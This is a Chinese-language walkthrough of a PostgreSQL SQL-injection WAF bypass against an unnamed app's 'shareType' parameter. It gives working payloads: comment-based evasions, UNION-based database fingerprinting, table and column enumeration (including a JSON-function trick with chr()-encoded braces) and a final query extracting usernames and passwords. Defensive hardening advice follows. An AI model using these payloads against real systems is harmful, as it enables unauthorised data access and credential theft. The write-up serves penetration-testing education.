记一次postgres注入绕过waf
字数 1164 2025-10-01 14:05:44

PostgreSQL SQL注入WAF绕过技术分析与实战教学

1. 漏洞背景与环境特征

1.1 应用环境

  • 目标应用:某未授权APP(需OA账号登录)
  • 数据库类型:PostgreSQL(经特征函数确认)
  • 防护机制:存在WAF(Web应用防火墙)
  • 响应特征:触发WAF返回502错误,多次触发会封禁IP

1.2 注入点发现

通过分享功能发现SQL注入漏洞,请求参数示例:

{"shareType":"3"}

参数测试表现:

  • shareType=4 → 查询为空
  • shareType=3 → 正常返回数据
  • shareType=4-1 → 返回结果与3相同(初步判断存在SQL注入)

2. WAF绕过技术分析

2.1 基础绕过技术

2.1.1 注释绕过技术

-- 原始被拦截语句
order by 1 --

-- 注释变体测试
order/**/by 1 --          -- 被拦截
order/*123*/by 1 --       -- 被拦截
order/*"*/by 1 --         -- 成功绕过

2.1.2 空白字符与特殊字符利用

  • 使用/**/代替空格
  • 在注释中插入特殊字符"破坏WAF模式匹配

2.2 数据库类型识别技术

2.2.1 数据库特征函数探测

-- PostgreSQL特征函数
select current_database()    -- 返回当前数据库名
select version()            -- 返回包含"PostgreSQL"的版本信息

-- 信创数据库鉴别
-- 达梦数据库: SELECT @@VERSION 或 SELECT * FROM V$VERSION
-- GaussDB: SELECT VERSION() 或 SELECT * FROM PG_VERSION

2.2.2 实际探测Payload

{"shareType":"3 union/*"*/select current_database(),'2' -- "}

2.3 数据表枚举技术

2.3.1 PostgreSQL表查询方法

-- 方法1: 查询用户可见表
SELECT tablename FROM pg_tables;

-- 方法2: 多模式环境查询
SELECT schemaname, tablename FROM pg_tables WHERE schemaname NOT IN ('pg_catalog', 'information_schema');

-- 方法3: information_schema标准查询
SELECT table_name FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog', 'information_schema');

2.3.2 WAF绕过技巧

  • 避免直接使用information_schema(可能被严格监控)
  • 使用pg_tables系统目录表
  • 注意字符串格式:将'2'改为''可能避免触发WAF规则

2.4 列名枚举高级技术

2.4.1 传统列查询方法

-- information_schema标准方法
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';

-- pg_attribute系统表方法
SELECT attname FROM pg_attribute 
WHERE attrelid = (SELECT oid FROM pg_class WHERE relname = 'users') 
AND attnum > 0 AND NOT attisdropped;

2.4.2 高级JSON函数绕过技术

-- AI推荐的"炫技"方法
SELECT json_object_keys(to_json(json_populate_record(null::users, '{}'::json)))

-- 分解解释:
-- null::users: 创建users类型的空记录
-- '{}'::json: 创建空JSON对象
-- json_populate_record(null::users, '{}'): 用空JSON填充users记录
-- to_json(): 将记录转换为JSON对象
-- json_object_keys(): 提取JSON键名(即列名)

2.4.3 WAF绕过实战调整

  • 原始方法因{}字符被拦截
  • 使用字符转换函数绕过:
    • chr()函数转换
    • format()函数格式化
    • concat()||拼接操作符

2.4.4 最终有效Payload

SELECT json_object_keys(to_json(json_populate_record(null::users, 
    (chr(123) || chr(125))::json)))

2.5 数据提取技术

获取列名后,直接构造联合查询提取数据:

-- 假设已获取列名: id, username, password
{"shareType":"3 union/*"*/select id, username, password from users -- "}

3. 防御建议与安全加固

3.1 开发层面

  1. 参数化查询:使用预编译语句避免SQL注入
  2. 输入验证:严格校验输入参数类型和范围
  3. 最小权限原则:数据库账户应具有最小必要权限

3.2 WAF配置建议

  1. 规则优化:加强对注释变体的检测
  2. 函数监控:监控敏感数据库函数调用
  3. 行为分析:基于行为而非单纯模式匹配的防护策略

3.3 数据库安全

  1. 系统表权限:限制对pg_tables等系统表的访问
  2. 函数权限:严格控制JSON等高级函数的执行权限
  3. 日志监控:启用详细查询日志并设置告警机制

4. 技术总结

本次绕过技术的关键点:

  1. 利用注释中的特殊字符破坏WAF模式匹配
  2. 使用PostgreSQL特有函数进行数据库识别
  3. 采用pg_tables系统表替代information_schema
  4. 创新使用JSON函数族进行列名枚举
  5. 通过字符编码转换绕过特定字符过滤

这种层层递进的绕过方式展示了对抗WAF的深度技术思考,同时也提醒了防御方需要采用多维度的安全防护策略。

PostgreSQL SQL注入WAF绕过技术分析与实战教学 1. 漏洞背景与环境特征 1.1 应用环境 目标应用:某未授权APP(需OA账号登录) 数据库类型:PostgreSQL(经特征函数确认) 防护机制:存在WAF(Web应用防火墙) 响应特征:触发WAF返回502错误,多次触发会封禁IP 1.2 注入点发现 通过分享功能发现SQL注入漏洞,请求参数示例: 参数测试表现: shareType=4 → 查询为空 shareType=3 → 正常返回数据 shareType=4-1 → 返回结果与 3 相同(初步判断存在SQL注入) 2. WAF绕过技术分析 2.1 基础绕过技术 2.1.1 注释绕过技术 2.1.2 空白字符与特殊字符利用 使用 /**/ 代替空格 在注释中插入特殊字符 " 破坏WAF模式匹配 2.2 数据库类型识别技术 2.2.1 数据库特征函数探测 2.2.2 实际探测Payload 2.3 数据表枚举技术 2.3.1 PostgreSQL表查询方法 2.3.2 WAF绕过技巧 避免直接使用 information_schema (可能被严格监控) 使用 pg_tables 系统目录表 注意字符串格式:将 '2' 改为 '' 可能避免触发WAF规则 2.4 列名枚举高级技术 2.4.1 传统列查询方法 2.4.2 高级JSON函数绕过技术 2.4.3 WAF绕过实战调整 原始方法因 {} 字符被拦截 使用字符转换函数绕过: chr() 函数转换 format() 函数格式化 concat() 或 || 拼接操作符 2.4.4 最终有效Payload 2.5 数据提取技术 获取列名后,直接构造联合查询提取数据: 3. 防御建议与安全加固 3.1 开发层面 参数化查询 :使用预编译语句避免SQL注入 输入验证 :严格校验输入参数类型和范围 最小权限原则 :数据库账户应具有最小必要权限 3.2 WAF配置建议 规则优化 :加强对注释变体的检测 函数监控 :监控敏感数据库函数调用 行为分析 :基于行为而非单纯模式匹配的防护策略 3.3 数据库安全 系统表权限 :限制对pg_ tables等系统表的访问 函数权限 :严格控制JSON等高级函数的执行权限 日志监控 :启用详细查询日志并设置告警机制 4. 技术总结 本次绕过技术的关键点: 利用注释中的特殊字符破坏WAF模式匹配 使用PostgreSQL特有函数进行数据库识别 采用pg_ tables系统表替代information_ schema 创新使用JSON函数族进行列名枚举 通过字符编码转换绕过特定字符过滤 这种层层递进的绕过方式展示了对抗WAF的深度技术思考,同时也提醒了防御方需要采用多维度的安全防护策略。